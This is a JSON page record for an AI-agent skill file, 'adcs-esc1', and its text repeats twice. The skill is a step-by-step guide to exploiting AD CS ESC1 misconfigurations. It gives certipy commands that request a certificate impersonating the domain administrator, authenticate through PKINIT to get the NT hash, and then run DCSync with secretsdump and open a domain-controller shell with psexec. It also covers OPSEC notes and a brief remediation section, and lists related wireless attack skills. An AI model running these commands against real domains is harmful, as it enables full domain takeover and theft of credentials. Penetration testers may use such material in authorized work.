[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797Q91A22CCAE36DFH2P0V9":3,"skill-same:01M797Q91A22CCAE36DFH2P0V9":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M797Q91A22CCAE36DFH2P0V9","adcs-esc1",null,"Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fadcs-esc1\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: adcs-esc1\ndescription: Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.\nmetadata:\n  subdomain: active-directory\n  when_to_use: \"adcs esc1 ad certificate services template misconfiguration domain admin\"\n  mitre_attack:\n    - T1649\n    - T1078.002\n---\n\n# ADCS ESC1 Exploitation\n\nESC1 is the most common ADCS misconfig: a certificate template with\n**ENROLLEE_SUPPLIES_SUBJECT** set, allowing any enrollee to request a\ncert for any user. Pair with **Client Authentication** EKU → authenticate\nas that user via PKINIT → instant domain admin.\n\n## 1. Enumerate templates\n```bash\n# Certipy (preferred)\ncertipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \\\n  -output \u002Ftmp\u002Fadcs -text -stdout > \u002Ftmp\u002Fadcs.txt\n\n# Or check JSON\ncertipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \\\n  -output \u002Ftmp\u002Fadcs.json\n```\n\nDecepticon ingest:\n```\nadcs_audit(\"\u002Ftmp\u002Fadcs.json\")\n```\n\n## 2. Identify ESC1 candidates\nA template is ESC1-vulnerable when ALL true:\n- `Enrollment Rights` includes a group the attacker is in (Domain Users \u002F Authenticated Users is jackpot)\n- `Client Authentication EKU` or `Smart Card Logon EKU` or `Any Purpose`\n- `Enrollee Supplies Subject` flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)\n- `Manager Approval` disabled\n- `Authorized Signatures Required` is 0\n\ncertipy output marks these clearly:\n```\n[!] Vulnerabilities\n        ESC1                                : 'DOMAIN\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication\n```\n\n## 3. Request the cert as Domain Admin\n```bash\ncertipy req -u USER@DOM -p 'PASS' -ca CA_NAME \\\n  -target CA_FQDN -template VULNERABLE_TEMPLATE \\\n  -upn 'administrator@dom' \\\n  -dc-ip DC_IP \\\n  -out \u002Ftmp\u002Fadmin.pfx\n```\n\nThe magic is `-upn administrator@dom` — because ENROLLEE_SUPPLIES_SUBJECT\nis set, the CA issues a cert with that UPN even though we're a regular\nuser requesting it.\n\n## 4. Authenticate as Domain Admin\n**PKINIT** (cert → TGT):\n```bash\ncertipy auth -pfx \u002Ftmp\u002Fadmin.pfx -dc-ip DC_IP\n# Output: TGT cached, NT hash printed\n```\n\nYou get back:\n- A TGT in `administrator.ccache` (use w\u002F `export KRB5CCNAME=...`)\n- The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)\n\n## 5. Operate as Domain Admin\nWith NT hash:\n```bash\n# DCSync\nsecretsdump.py -hashes :NT_HASH 'DOM\u002Fadministrator@DC_IP' -just-dc\n\n# Shell on DC\npsexec.py -hashes :NT_HASH 'DOM\u002Fadministrator@DC_IP'\n\n# Or use the ccache TGT directly\nexport KRB5CCNAME=\u002Ftmp\u002Fadministrator.ccache\nsmbclient.py -k -no-pass 'DC@DC_IP'\n```\n\n## 6. Promote\n```\nkg_add_node(kind=\"vulnerability\", label=\"ADCS ESC1: \u003Ctemplate> → DA\",\n            props={\"severity\":\"critical\",\"ca\":\"\u003Cca>\",\"template\":\"\u003Ctpl>\"})\nkg_add_node(kind=\"credential\", label=\"administrator:NT_HASH\")\nkg_add_edge(src=\u003Cvuln>, dst=\u003Ccred>, kind=\"grants\")\nkg_add_edge(src=\u003Ccred>, dst=\u003Ccrown_jewel:domain>, kind=\"compromises\")\n```\n\n## ESC variants quick-ref\n\n| ESC | Misconfig | Sub-skill |\n|---|---|---|\n| ESC1 | Enrollee supplies subject + client auth EKU | THIS doc |\n| ESC2 | Any Purpose EKU template | similar to ESC1 |\n| ESC3 | Enrollment Agent template | needs ESC3 + ESC2 combo |\n| ESC4 | Vulnerable template ACL (GenericAll, WriteDacl) | edit template → ESC1 |\n| ESC5 | Vulnerable PKI object ACL | edit CA settings |\n| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | request as any user via SAN |\n| ESC7 | Vulnerable CA ACL (ManageCA, ManageCertificates) | approve denied req |\n| ESC8 | NTLM relay → AD CS web enrollment | coerce + relay |\n| ESC9 | UPN no security extension | low-priv → high-priv via S4U2self |\n| ESC10 | Weak certificate mapping (StrongCertificateBindingEnforcement=0) | UPN spoof |\n| ESC11 | NTLM relay to ICPR (RPC) | similar to ESC8 |\n| ESC13 | Cert template w\u002F OID linked to group → group membership manipulation | |\n\n## OPSEC\n- Certipy req generates **event 4886** on the CA (cert issued)\n- PKINIT generates **event 4768** on DC w\u002F certificate fields populated\n- Hard to suppress; rely on engagement being permitted to be loud here\n\n## CVSS\n- Any ESC1 reachable from low-priv user: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 9.0\n- ESC1 reachable from anonymous (rare): 10.0\n- ESC8 NTLM relay (different exploit, same outcome): 9.8\n\n## Defender remediation\n```powershell\n# Disable the dangerous flag\ncertutil -dstemplate \u003CTemplate> | findstr msPKI-Certificate-Name-Flag\n# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)\n\n# Fix via UI: Template properties → Subject Name tab → uncheck\n# \"Supply in the request\"\n```\n","# ADCS ESC1 Exploitation\n\nESC1 is the most common ADCS misconfig: a certificate template with\n**ENROLLEE_SUPPLIES_SUBJECT** set, allowing any enrollee to request a\ncert for any user. Pair with **Client Authentication** EKU → authenticate\nas that user via PKINIT → instant domain admin.\n\n## 1. Enumerate templates\n```bash\n# Certipy (preferred)\ncertipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \\\n  -output \u002Ftmp\u002Fadcs -text -stdout > \u002Ftmp\u002Fadcs.txt\n\n# Or check JSON\ncertipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \\\n  -output \u002Ftmp\u002Fadcs.json\n```\n\nDecepticon ingest:\n```\nadcs_audit(\"\u002Ftmp\u002Fadcs.json\")\n```\n\n## 2. Identify ESC1 candidates\nA template is ESC1-vulnerable when ALL true:\n- `Enrollment Rights` includes a group the attacker is in (Domain Users \u002F Authenticated Users is jackpot)\n- `Client Authentication EKU` or `Smart Card Logon EKU` or `Any Purpose`\n- `Enrollee Supplies Subject` flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)\n- `Manager Approval` disabled\n- `Authorized Signatures Required` is 0\n\ncertipy output marks these clearly:\n```\n[!] Vulnerabilities\n        ESC1                                : 'DOMAIN\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication\n```\n\n## 3. Request the cert as Domain Admin\n```bash\ncertipy req -u USER@DOM -p 'PASS' -ca CA_NAME \\\n  -target CA_FQDN -template VULNERABLE_TEMPLATE \\\n  -upn 'administrator@dom' \\\n  -dc-ip DC_IP \\\n  -out \u002Ftmp\u002Fadmin.pfx\n```\n\nThe magic is `-upn administrator@dom` — because ENROLLEE_SUPPLIES_SUBJECT\nis set, the CA issues a cert with that UPN even though we're a regular\nuser requesting it.\n\n## 4. Authenticate as Domain Admin\n**PKINIT** (cert → TGT):\n```bash\ncertipy auth -pfx \u002Ftmp\u002Fadmin.pfx -dc-ip DC_IP\n# Output: TGT cached, NT hash printed\n```\n\nYou get back:\n- A TGT in `administrator.ccache` (use w\u002F `export KRB5CCNAME=...`)\n- The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)\n\n## 5. Operate as Domain Admin\nWith NT hash:\n```bash\n# DCSync\nsecretsdump.py -hashes :NT_HASH 'DOM\u002Fadministrator@DC_IP' -just-dc\n\n# Shell on DC\npsexec.py -hashes :NT_HASH 'DOM\u002Fadministrator@DC_IP'\n\n# Or use the ccache TGT directly\nexport KRB5CCNAME=\u002Ftmp\u002Fadministrator.ccache\nsmbclient.py -k -no-pass 'DC@DC_IP'\n```\n\n## 6. Promote\n```\nkg_add_node(kind=\"vulnerability\", label=\"ADCS ESC1: \u003Ctemplate> → DA\",\n            props={\"severity\":\"critical\",\"ca\":\"\u003Cca>\",\"template\":\"\u003Ctpl>\"})\nkg_add_node(kind=\"credential\", label=\"administrator:NT_HASH\")\nkg_add_edge(src=\u003Cvuln>, dst=\u003Ccred>, kind=\"grants\")\nkg_add_edge(src=\u003Ccred>, dst=\u003Ccrown_jewel:domain>, kind=\"compromises\")\n```\n\n## ESC variants quick-ref\n\n| ESC | Misconfig | Sub-skill |\n|---|---|---|\n| ESC1 | Enrollee supplies subject + client auth EKU | THIS doc |\n| ESC2 | Any Purpose EKU template | similar to ESC1 |\n| ESC3 | Enrollment Agent template | needs ESC3 + ESC2 combo |\n| ESC4 | Vulnerable template ACL (GenericAll, WriteDacl) | edit template → ESC1 |\n| ESC5 | Vulnerable PKI object ACL | edit CA settings |\n| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | request as any user via SAN |\n| ESC7 | Vulnerable CA ACL (ManageCA, ManageCertificates) | approve denied req |\n| ESC8 | NTLM relay → AD CS web enrollment | coerce + relay |\n| ESC9 | UPN no security extension | low-priv → high-priv via S4U2self |\n| ESC10 | Weak certificate mapping (StrongCertificateBindingEnforcement=0) | UPN spoof |\n| ESC11 | NTLM relay to ICPR (RPC) | similar to ESC8 |\n| ESC13 | Cert template w\u002F OID linked to group → group membership manipulation | |\n\n## OPSEC\n- Certipy req generates **event 4886** on the CA (cert issued)\n- PKINIT generates **event 4768** on DC w\u002F certificate fields populated\n- Hard to suppress; rely on engagement being permitted to be loud here\n\n## CVSS\n- Any ESC1 reachable from low-priv user: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 9.0\n- ESC1 reachable from anonymous (rare): 10.0\n- ESC8 NTLM relay (different exploit, same outcome): 9.8\n\n## Defender remediation\n```powershell\n# Disable the dangerous flag\ncertutil -dstemplate \u003CTemplate> | findstr msPKI-Certificate-Name-Flag\n# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)\n\n# Fix via UI: Template properties → Subject Name tab → uncheck\n# \"Supply in the request\"\n```\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"active-directory","adcs esc1 ad certificate services template misconfiguration domain admin",[28,29],"T1649","T1078.002","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fadcs-esc1",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill adcs-esc1",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill adcs-esc1",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill adcs-esc1","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fadcs-esc1\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]